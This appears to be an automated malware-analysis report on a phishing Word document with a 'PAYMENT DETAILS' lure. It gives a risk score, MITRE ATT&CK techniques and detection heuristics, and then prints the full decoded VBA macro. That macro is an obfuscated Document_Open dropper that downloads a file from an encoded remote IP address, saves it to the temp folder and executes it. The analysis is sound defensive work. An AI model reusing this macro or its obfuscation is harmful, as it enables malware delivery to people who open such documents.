MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample contains VBA macros, including a Document_Open macro that uses CreateObject to download a file via HTTP and save it to disk. This is a common downloader pattern. The document body presents a "PAYMENT DETAILS" lure, instructing the user to "Enable content" to view the document, which is a typical social engineering tactic to bypass macro security. The ClamAV detection also confirms its malicious nature as a downloader.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡·¸®¡¡¶»¸¥´¿¤¸µ¢¯©¨©¦¿»¿³»º«©§¬³»·£®«°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶ = «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸ = CreateObject("microsoft.xmlhttp") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ = Environ("tmp") + ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«("\àäH¶R§Øàä.ÂÛÂ") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8763 bytes |
SHA-256: eff0b5bc02fb6537d6eb01a262d25067932209c48dabe1f469966d1f1886ba89 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½)
¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
´¶£§£¿¨¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
For i = 1 To Len(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½)
¹¼«®¸¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼ = InStr(¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ, Mid(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½, i, 1))
If ¹¼«®¸¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼ > 0 Then
§©µ¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¶£§£¿¨ = Mid(´¶£§£¿¨¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨, ¹¼«®¸¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼, 1)
¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª = ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª + §©µ¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¶£§£¿¨
Else
¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª = ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª + Mid(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½, i, 1)
End If
Next
¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®« = ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª
End Function
Private Sub Document_Open()
Dim «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸
Set «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸ = CreateObject("microsoft.xmlhttp")
Dim ¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ
Dim ¶¤¯®¢¿¬¤²¾¨¾·¨µµªºª¼¾¡¾©®£¤¹¨¶²¡¶¯¦·¡µ«¯³´¨´¸¼¶¦¡¡¢²¿«§»¬¬¤¡°¥º«¿¶¥¤¹¦£¶´§²¯¯²·¾
Set ¶¤¯®¢¿¬¤²¾¨¾·¨µµªºª¼¾¡¾©®£¤¹¨¶²¡¶¯¦·¡µ«¯³´¨´¸¼¶¦¡¡¢²¿«§»¬¬¤¡°¥º«¿¶¥¤¹¦£¶´§²¯¯²·¾ = CreateObject("Shell.Application")
¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ = Environ("tmp") + ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«("\àäH¶R§Øàä.ÂÛÂ")
«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.Open "GET", ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«("hÖÖÓ://²00.6³.45.105/ÖhÂmÂÕ/ÂÔÖ.ÂÛÂ"), False
«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.send
¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡·¸®¡¡¶»¸¥´¿¤¸µ¢¯©¨©¦¿»¿³»º«©§¬³»·£®«°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶ = «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.responseBody
If «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.Status = 200 Then
Set £½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡ = CreateObject("adodb.stream")
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Open
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Type = 1
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Write ¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡·¸®¡¡¶»¸¥´¿¤¸µ¢¯©¨©¦¿»¿³»º«©§¬³»·£®«°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.SaveToFile ¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ, 2
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Close
End If
¶¤¯®¢¿¬¤²¾¨¾·¨µµªºª¼¾¡¾©®£¤¹¨¶²¡¶¯¦·¡µ«¯³´¨´¸¼¶¦¡¡¢²¿«§»¬¬¤¡°¥º«¿¶¥¤¹¦£¶´§²¯¯²·¾.Open (¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ)
End Sub
Attribute VB_Name = "NewMacros"
Sub bigclass()
'
' bigclass Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.